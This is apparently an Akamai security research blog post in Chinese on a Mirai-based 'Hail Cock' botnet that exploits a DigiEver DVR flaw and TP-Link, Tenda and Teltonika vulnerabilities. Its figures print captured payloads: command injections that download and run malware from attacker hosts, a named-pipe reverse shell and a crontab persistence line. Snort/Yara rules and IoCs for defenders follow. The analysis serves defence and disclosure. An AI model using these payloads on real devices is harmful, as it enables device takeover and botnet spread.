DigiEver DS-2105 Pro DVR 中的一个漏洞被用于传播恶意软件
执行摘要
DigiEver DS-2105 Pro DVR 中的一个漏洞被用于传播恶意软件。
2024 年 11 月 18 日,Akamai 安全情报研究团队 (SIRT) 在其蜜罐中发现了此活动。
该漏洞最初由 Ta-Lun Yen 发现,Akamai SIRT 已为其申请 CVE 标识符。
此恶意软件是 Mirai 的变体,经过修改,使用改进的加密算法。
在本博文中,我们提供了入侵迹象 (IoC) 列表,以帮助抵御此威胁。
内容警告:造成该恶意软件传播的攻击者使用的内容命名可能会冒犯到一些人。我们并未删除这些内容,目的是提高大家对此恶意软件的发现能力,因为攻击者目前正在广泛利用该攻击活动。
简介和发现
2024 年 11 月中旬, Akamai SIRT 在我们的全球蜜罐网络中,发现针对 URI /cgi-bin/cgi_main.cgi 的活动有所增加。此活动似乎可以归属为近期持续的基于 Mirai 的恶意软件攻击活动,后者至少可以追溯到 2024 年 10 月。
目前还未向此漏洞分配 CVE,但最初似乎由 TXOne Research 的 Ta-Lun Yen 发现并 公布 于众。在所发表的文章中,他将此远程代码执行 (RCE) 漏洞归因于多个 DVR 设备,包括 DigiEver DS-2105 Pro 型号。我们的分析人员确定,所观察到的漏洞利用企图与已发布的此项漏洞研究相符。
对此活动的进一步调查表明,,一个自称为“Hail Cock Botnet”的新僵尸网络自 2024 年 9 月起一直处于活跃状态。此活动利用 Mirai 恶意软件 变体,其中融入了 ChaCha20 和 XOR 解密算法,在现实环境中被发现通过 CVE-2023-1389入侵易受攻击的物联网 (IoT) 设备,例如 DigiEver DVR 和 TP-Link 设备。
漏洞
这名 TXOne 研究人员在渗透测试期间调查一些暴露的 IP 地址范围之后,发现了 DigiEver DVR 漏洞。通过 Shodan 的查询,他得以确定,这些 IP 地址中有许多都是历来容易受到攻击的设备,例如 DVR。他模拟了 DigiEver DVR 固件,并且发现 /cgi-bin/cgi_main.cgi 是 CGI 端点之一(图 1)。
通过此端点,该研究人员能够实现 RCE(图 2)。
主动利用
Akamai SIRT 注意到,2024 年 11 月 18 日此 URI 开始成为未知攻击者的目标。我们发现,在蜜罐中观察到的攻击负载的语法与研究文章中的概念验证 (PoC) 相符(图 3)。
cgiName=time_tzsetup.cgi&page=/cfg_system_time.htm&id=69&ntp=`rm x86;curl --output x86 http://154.216.17[.]126/x86; chmod 777 *; ./x86 nvr`&ntp1=time.stdtime.gov.tw&ntp2=`rm x86;curl --output x86 http://154.216.17[.]126/x86; chmod 777 *; ./x86 nvr`&isEnabled=0&timeDiff=+9&ntpAutoSync=1&ntpSyncMode=1&day=0&hour=0&min=0&syncDiff=30
图 3:针对 DigiEver RCE 漏洞的攻击负载(URL 已解码)
该漏洞似乎允许将命令作为实参注入到 ntp 形参中。在此示例中,该实参会连接远程恶意软件托管服务器来下载基于 Mirai 的恶意软件。这些会话通过端口 80 作为 HTTP POST 请求传入,HTTP Referer 标头为“**IP Address**:80/cfg_system_time.htm”。
除了 DigiEver RCE 漏洞之外,我们还发现此 僵尸网络 可以针对其他漏洞,例如 CVE-2023-1389,从而影响 TP-Link 设备(图 4)。
GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget+http://45.202.35[.]24/l+-O-|+sh`) HTTP/1.1
Host: localhost:80
User-Agent: Go-http-client/1.1
图 4:针对 CVE-2023-1389 的攻击负载
该僵尸网络会在 TP-Link Web 管理界面上的 /cgi-bin/luci;stok=/locale 端点中,利用此命令注入漏洞来下载并执行恶意 Shell 脚本。此脚本进而会下载 Mirai 恶意软件攻击负载并在目标系统上执行(图 5)。
该僵尸网络还会针对 Tenda HG6 v3.3.0 远程命令注入漏洞(图 6)。
/boaform/admin/formTracert target_addr=;`rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|wget+http://45.202.35[.]24/b+-O-|+sh+>/tmp/f`&waninf=1_INTERNET_R_VID_
图 6:针对 Tenda HG6 的攻击负载
除了这些漏洞之外,我们还观察到此僵尸网络会针对其他漏洞,例如 CVE-2018-17532,从而影响 Teltonika RUT9XX 路由器。该漏洞通过 wget 请求下载并执行 Shell 脚本,该脚本进而发出另一个在目标机器上下载并执行恶意软件的请求(图 7)。
恶意软件
我们发现的恶意软件样本是基于 Mirai 的恶意软件变体,分布在各种架构中,包括 x86、ARM、MIPS 等等。对于这些样本,非常值得关注的一点是,它们使用 XOR 和 ChaCha20 作为其解密算法。
在动态分析部分中看到的一些字符串,例如控制台输出“you are now apart of hail cock botnet”,不会出现在恶意软件的人类可读字符串部分中,也不会出现在 XOR 解码字符串中。
对于此恶意软件,我们发现日本的一位 独立安全研究人员 发布了一些值得关注的调查结果。他发现,该恶意软件会解密此字符串并显示在控制台上,而且该字符串存储在二进制文件的数据段中(图 8)。
通过检查将字符串分配给该输出的位置,我们发现了字符串解密函数 (FUN_00408500) 和作为参数的字符串位置 (DAT_005166a0)。在初始化之后,接下来的函数将用于处理来自第二个参数的加密字符串,并将其存储在内存中(图 9)。
在检查函数“FUN_00404960”时,研究人员发现其最后的步骤涉及 XOR 操作。在使用常量并将其转换为 ASCII 码的部分中,该函数返回了字符串“expand 32-byte k”。此字符串是 Salsa20 和 ChaCha20 等加密算法中的已知常量,这表明标记为“FUN_00404960”的函数负责解密(图 10)。
虽然采用复杂的解密方法并非什么新鲜事,但这也表明在基于 Mirai 的僵尸网络运营者中,所采用的手段、技术和程序都在不断演进。这一点最值得注意,因为许多基于 Mirai 的僵尸网络仍然依赖于原始字符串混淆逻辑,这种逻辑源自最初发布的 Mirai 恶意软件源代码中的循环利用代码。
从静态字符串分析来看,该恶意软件使用多种设备的大量默认或通用凭据,将僵尸网络传播到更多主机。在 Mirai 附带的原始凭据对中,后续添加了许多新的凭据对,例如字符串“telecomadmin”(这是华为 ONT HG8245H5 光纤终端套件的默认用户名),以及一些使用 Realtek 芯片组的路由器的默认密码。
沙盒详细信息
通过在动态沙盒环境中运行恶意软件样本,我们得以识别恶意软件中的其他 IoC 和需要注意的字符串。我们观察到的其中一种行为是创建一个 cron 作业,从域“hailcocks[.]ru”下载并运行 Shell 脚本,以保持持久性(图 11)。此攻击会尝试使用 curl 和/或 wget 从同一服务器下载“wget.sh”文件,以确保所入侵的主机上未安装这两种工具之一时的确保兼容性。
sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks[.]ru/wget.sh; curl --output wget.sh http://hailcocks[.]ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
图 11:通过 crontab 实现持久性
在执行时,该恶意软件会连接到更多的各种类型的主机,这与典型的 Mirai Telnet 和 SSH 暴力破解 行为相一致。该恶意软件还会连接到一个单独的 IP 地址,将 A 记录解析为域“kingstonwikkerink[.]dyn”,以用于命令和控制 (C2) 通信。
此外,在恶意软件执行时,攻击者利用此恶意软件入侵的主机还会看到控制台中输出一个独特的字符串。较早版本的恶意软件会输出字符串“you are now apart of hail cock botnet”(图 12)。较新版本的恶意软件会改为在控制台中输出字符串“I just wanna look after my cats, man.”(图 13)。
结论
多年来,网络犯罪分子持续利用旧版 Mirai 恶意软件来实现僵尸网络攻击活动的持久化,新的 Hail Cock 僵尸网络也不例外。对于攻击者来说,入侵新主机的一种最简单方法是攻击过时的固件或已停用的硬件。大约有 10 年历史的 DigiEver DS-2105 Pro 就是这样一个例子。硬件制造商并不总是会为已停用的设备发布补丁,而制造商本身也有可能会倒闭。因此,在安全补丁不可用以及不太可能推出安全补丁的情况下,我们建议将易受攻击的设备升级为较新的型号。
IoC
我们提供了 IoC 列表以及 Snort 和 Yara 规则来帮助防御者。
针对网络 IoC 的 Snort 规则
针对 C2 IP 的 Snort 规则
alert tcp $HOME_NET any -> 154.216.17.126 any (msg:"C2 Comms for Hail Cock Botnet to 154.216.17.126"; flow:to_server,established;)
alert tcp $HOME_NET any -> 154.213.187.50 any (msg:"C2 Comms for Hail Cock Botnet to 154.213.187.50"; flow:to_server,established;)
alert tcp $HOME_NET any -> 86.107.100.80 any (msg:"C2 Comms for Hail Cock Botnet to 86.107.100.80"; flow:to_server,established;)
alert tcp $HOME_NET any -> 213.182.204.57 any (msg:"C2 Comms for Hail Cock Botnet to 213.182.204.57"; flow:to_server,established;)
alert tcp $HOME_NET any -> 195.133.92.51 any (msg:"C2 Comms for Hail Cock Botnet to 195.133.92.51"; flow:to_server,established;)
alert tcp $HOME_NET any -> 185.82.200.181 any (msg:"C2 Comms for Hail Cock Botnet to 185.82.200.181"; flow:to_server,established;)
alert tcp $HOME_NET any -> 81.29.149.178 any (msg:"C2 Comms for Hail Cock Botnet to 81.29.149.178"; flow:to_server,established;)
alert tcp $HOME_NET any -> 88.151.195.22 any (msg:"C2 Comms for Hail Cock Botnet to 88.151.195.22"; flow:to_server,established;)
alert tcp $HOME_NET any -> 91.149.218.232 any (msg:"C2 Comms for Hail Cock Botnet to 91.149.218.232"; flow:to_server,established;)
alert tcp $HOME_NET any -> 91.149.238.18 any (msg:"C2 Comms for Hail Cock Botnet to 91.149.238.18"; flow:to_server,established;)
alert tcp $HOME_NET any -> 31.13.248.89 any (msg:"C2 Comms for Hail Cock Botnet to 31.13.248.89"; flow:to_server,established;)
alert tcp $HOME_NET any -> 193.233.193.45 any (msg:"C2 Comms for Hail Cock Botnet to 193.233.193.45"; flow:to_server,established;)
alert tcp $HOME_NET any -> 194.87.198.29 any (msg:"C2 Comms for Hail Cock Botnet to 194.87.198.29"; flow:to_server,established;)
alert tcp $HOME_NET any -> 45.202.35.91 any (msg:"C2 Comms for Hail Cock Botnet to 45.202.35.91"; flow:to_server,established;)
alert tcp $HOME_NET any -> 104.37.188.76 any (msg:"C2 Comms for Hail Cock Botnet to 104.37.188.76"; flow:to_server,established;)
alert tcp $HOME_NET any -> 95.214.53.205 any (msg:"C2 Comms for Hail Cock Botnet to 95.214.53.205"; flow:to_server,established;)
alert tcp $HOME_NET any -> 5.35.104.31 any (msg:"C2 Comms for Hail Cock Botnet to 5.35.104.31"; flow:to_server,established;)
alert tcp $HOME_NET any -> 149.50.106.25 any (msg:"C2 Comms for Hail Cock Botnet to 149.50.106.25"; flow:to_server,established;)
alert tcp $HOME_NET any -> 141.98.11.79 any (msg:"C2 Comms for Hail Cock Botnet to 141.98.11.79"; flow:to_server,established;)
alert tcp $HOME_NET any -> 45.202.35.24 any (msg:"C2 Comms for Hail Cock Botnet to 45.202.35.24"; flow:to_server,established;)
alert tcp $HOME_NET any -> 5.39.254.71 any (msg:"C2 Comms for Hail Cock Botnet to 5.39.254.71"; flow:to_server,established;)
alert tcp $HOME_NET any -> 45.126.50.101 any (msg:"C2 Comms for Hail Cock Botnet to 45.126.50.101"; flow:to_server,established;)
针对 C2 域解析检测的 Snort 规则
alert tcp $HOME_NET any -> hailcocks.ru any (msg:"BLOCK Connection to malicious domain - hailcocks.ru"; flow:to_server,established; sid:1000010; rev:1;)
alert tcp $HOME_NET any -> kingstonwikkerink.dyn any (msg:"BLOCK Connection to malicious domain - kingstonwikkerink.dyn"; flow:to_server,established; sid:1000011; rev:1;)
alert tcp $HOME_NET any -> catvision.dyn any (msg:"BLOCK Connection to malicious domain - catvision.dyn"; flow:to_server,established; sid:1000012; rev:1;)
alert tcp $HOME_NET any -> hikvision.geek any (msg:"BLOCK Connection to malicious domain - hikvision.geek"; flow:to_server,established; sid:1000013; rev:1;)
alert tcp $HOME_NET any -> shitrocket.dyn any (msg:"BLOCK Connection to malicious domain - shitrocket.dyn"; flow:to_server,established; sid:1000014; rev:1;)
alert tcp $HOME_NET any -> catlovingfools.geek any (msg:"BLOCK Connection to malicious domain - catlovingfools.geek"; flow:to_server,established; sid:1000015; rev:1;)
针对恶意软件样本的 Yara 规则
rule hailcock_malware
{
strings:
$someoffdeeznuts = "someoffdeeznuts"
$ip_address = { 154.213.187.50 }
condition:
any of them
}
rule malware_hashes
{
strings:
$hash_1 = "3c0eb5de2946c558159a6b6a656d463febee037c17a1f605330e601cfcd39615"
$hash_2 = "0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad"
$hash_3 = "b32390e3ed03b99419c736b2eb707886b9966f731e629f23e3af63ea7a91a7af"
$hash_4 = "dec561cc19458ea127dc1f548fcd0aaa51db007fa8b95c353086cd2d26bfcf02"
$hash_5 = "a1b73a3fbd2e373a35d3745d563186b06857f594fa5379f6f7401d09476a0c41"
condition:
any of them
}
rule malicious_domains
{
strings:
$hailcocks = "hailcocks.ru"
$kingstonwikkerink = "kingstonwikkerink.dyn"
$catvision = "catvision.dyn"
$catloving = "catlovingfools.geek"
$hikvision = "hikvision.dyn"
$shitrocket = "shitrocket.dyn"
condition:
any of them
}
历史基础架构的 IPv4 地址
154.216.17.126
154.213.187.50
86.107.100.80
213.182.204.57
195.133.92.51
185.82.200.181
81.29.149.178
88.151.195.22
91.149.218.232
91.149.238.18
31.13.248.89
193.233.193.45
194.87.198.29
45.202.35.91
104.37.188.76
95.214.53.205
5.35.104.31
149.50.106.25
141.98.11.79
45.202.35.24
5.39.254.71
45.125.66.90
91.132.50.181
用于 C2 和恶意软件传播端点的域
hailcocks[.]ru
kingstonwikkerink[.]dyn
catvision[.]dyn
shitrocket[.]dyn
catlovingfools[.]geek
hikvision[.]geek
SHA256 哈希值
3c0eb5de2946c558159a6b6a656d463febee037c17a1f605330e601cfcd39615
0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad
b32390e3ed03b99419c736b2eb707886b9966f731e629f23e3af63ea7a91a7af
dec561cc19458ea127dc1f548fcd0aaa51db007fa8b95c353086cd2d26bfcf02
a1b73a3fbd2e373a35d3745d563186b06857f594fa5379f6f7401d09476a0c41
31813bb69e10b636c785358ca09d7f91979454dc6fc001f750bf03ad8bde8fe5